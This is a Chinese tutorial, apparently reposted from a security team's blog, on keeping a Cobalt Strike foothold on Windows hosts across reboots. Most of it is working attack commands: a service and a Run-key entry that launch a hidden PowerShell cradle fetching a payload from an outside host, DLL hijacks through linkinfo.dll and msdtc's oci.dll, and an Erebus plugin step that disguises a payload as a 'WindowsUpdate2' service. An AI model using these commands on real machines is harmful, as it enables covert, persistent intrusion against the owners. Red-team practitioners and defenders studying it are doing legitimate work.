在攻防演练中,无论是在同内网其他出网机器还是在当前被控机,都建议拿到主机权限后优先考虑建立一个持久化的据点,方便后续渗透。正常情况下,当目标机器重启之后,驻留在 cmd.exe、powershell.exe 等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。在Windows上我们可以通过 IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。因为这里是cobalt strike wiki,所以主要说一下在CS上的操作,其他一些常见操作就不再详述了,网上资料挺多的。。。
权限维持以启动CS会话为例,不涉及账号隐藏等等, 常见的可以用于启动会话的权限维持方式。1、注册表 2、启动项 3、计时任务 4、服务 5、shift或者放大镜 6、各种劫持 7、利用其他安装的软件
在目标会话上点击右键
Explore-Process List
然后选择一个进程,点击下面菜单栏里的Inject即可完成注入
从Cobalt Strike菜单栏
Attacks--Web Drive-by--Scaripted Web Delivery
生成powershell后门
点击Launch后,返回powershell远程下载执行命令。然后执行以下命令
shell sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\""
shell sc description Name "Just For Test" //设置服务的描述字符串
shell sc config Name start= auto //设置这个服务为自动启动
shell net start Name //启动服务
此时重启服务器后,即可成功返回一个shell
在windows启动项注册表里面添加一个木马程序路径,如:以system权限打开beacon后,输入
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\"" /f
此时账号注销后重新登录,界面上会出现powershell快速闪过消失,成功返回shell 另外以下键值也可设为自启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer这个进程每隔一段时间就会自动加载,所以可以用它目录下的配置文件进行权限维持。我们可以使用Cobaltstrike生成对应系统位数的DLL文件放置目标系统C:\Windows\目录下,要注意重命名为linkinfo.dll
建议使用administer权限执行此操作,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉
msdtc程序每次启动时都会加载三个dll,oci.dll默认是不存在的,可以通过劫持这个 dll以达到权限维持目的,位于注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
首先把生成的恶意dll文件传到c:\windows\system32\目录下,然后kill掉msdtc进程
shell taskkill /f /im msdtc.exe
等待一段时间,mstdc.exe重新启动后即可成功加载oci.dll上线cs,不过是普通用户身份。。。还得需要自己进行权限提升
项目地址
https://github.com/DeEpinGh0st/Erebus
下载后导入CS即可,不过使用时注意会话必须是system权限
1、首先加载 cna 脚本
Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna
2、生成 Payload 可执行文件
Attacks → Packages → Windows Executable(S)
3、上传 payload 可执行文件至目标主机并通过插件添加服务
然后就通过 SC
命令把此 3.exe
添加进了开机启动项,从而初始了一个权限为 SYSTEM
的 Beacon 其效果等同于在beacon控制台中输入
shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:\bea\3.exe""&&sc config "WindowsUpdate2" start= auto&&net start WindowsUpdate2
此时重启机器后同样会获得上线会话
文章来源:TIDE安全团队
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干